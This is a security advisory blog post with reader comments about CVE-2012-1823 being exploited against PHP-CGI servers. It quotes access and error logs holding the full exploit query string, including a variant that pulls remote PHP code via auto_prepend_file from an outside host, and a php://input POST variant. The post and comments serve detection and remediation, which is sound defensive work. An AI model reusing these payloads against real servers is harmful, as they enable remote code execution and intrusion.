PHP vulnerability CVE-2012-1823 being exploited in the wild
by Manuel Humberto Santander Pelaez (Version: 1)
Reader Bob detected in his webserver the following string in the access log of his web server:
bas1-richmondhill34-1177669777.dsl.bell.ca - - [24/May/2012:12:17:49 -0700] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 2890 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"
This string is an attempt to exploit the PHP vulnerability CVE-2012-1823 with the remote execution variant. Let's see what means each of the options invoked:
- safe_mode=off: PHP disables the capacity of checking if the if the owner of the current script matches the owner of the file to be operated by a file funcionality. This directive has been deprecated on PHP 5.3.0 tree and removed on PHP 5.4.0 tree.
- disable_functions=null: No function is disabled from the whole amount contained within PHP. This means that insecure functions are available like proc_open, exec, passthru, curl_exec, system, popen, curl_multi_exec and shell_exec. For more information on this functions, please check the PHP manual.
- allow_url_fopen=on: This directive allows PHP to open files located in http or ftp locations and operate them as a normal file descriptor.
- allow_url_include=on:This directive allows to include additional PHP code located in a http or ftp URL into the PHP file before being processed and executed.
- auto_prepend_file=http://81.17.24.82/info3.php: This directive includes the PHP code located in http://81.17.24.82/info3.php and execute it before the code inside index.php.
You can prevent this by using the latest stable PHP version located at the downloads page. If you are using windows, please be careful because you can be affected by the CVE-2012-2376. For more information regarding remediation on this vulnerability, please check my previous diary about it.
Have you seen such logs in your access.log webserver file? We want to hear about it. Let us know!
Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail:msantand at isc dot sans dot org
Comments
I found those similars lines on my log from May 18
/var/log/apache2/other_vhosts_access.log.2.gz:www.siretessile.com:80 host-92-26-32-80.as13285.net - - [18/May/2012:19:00:52 +0200] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"
/var/log/apache2/other_vhosts_access.log.2.gz:www.siretessile.com:80 71.216.169.47 - - [18/May/2012:21:42:11 +0200] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"
I think that client is the source of attack. Then on error.log
/var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(1488): [client 92.26.32.80] proxy: http: found worker http://localhost:8080/ for http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(2046): proxy: connecting http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080
/var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(2139): proxy: connected /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(1488): [client 71.216.169.47] proxy: http: found worker http://localhost:8080/ for http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] mod_proxy_ajp.c(575): proxy: AJP: declining URL http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] mod_proxy_http.c(1937): proxy: HTTP: serving URL http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(2046): proxy: connecting http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(2139): proxy: connected /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080
How to know what was inside info3.txt ?
Regards
matteo
May 28th 2012
1 decade ago
http://huguesjohnson.com/programming/hacking-attempt/
It is dated May 20th
ED
May 28th 2012
1 decade ago
/var/www/logs/access_log:61.63.20.133 - - [28/May/2012:02:34:29 +0200] "GET /index.php?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://www.kihlborg.se/en/popups.txt+ HTTP/1.1" 200 18092
/var/www/logs/access_log:66.147.240.192 - - [28/May/2012:02:35:08 +0200] "GET /index.php?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://www.kihlborg.se/en/popups.txt+ HTTP/1.1" 200 18092
Inside the file www.kihlborg.se/en/popups.txt is this:
<?php echo(63416);echo(214353451);echo(214353451);echo(8538568);exit;?>
Regards
Jan
May 28th 2012
1 decade ago
sincerely,
http://mjddesign.wordpress.com
Matthew
May 29th 2012
1 decade ago
http://pastebin.com/xHCr031f
fukawi2
May 29th 2012
1 decade ago
The rewrite-rule seems to stop them - or blocking the net in Panama where the external code is downloaded from.
rainer_d
May 29th 2012
1 decade ago
/var/log/httpd/access_log.2:85.114.141.40 - - [16/May/2012:10:25:40 -0400] "POST //?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input+-d+safe_mode%3d1+-d+suhosin.simulation%3d1+-d+disable_functions%3d%22%22+-d+open_basedir%3dnone+-n HTTP/1.1" 200 1406 "-" "-"
rmp
May 29th 2012
1 decade ago
Shane
May 29th 2012
1 decade ago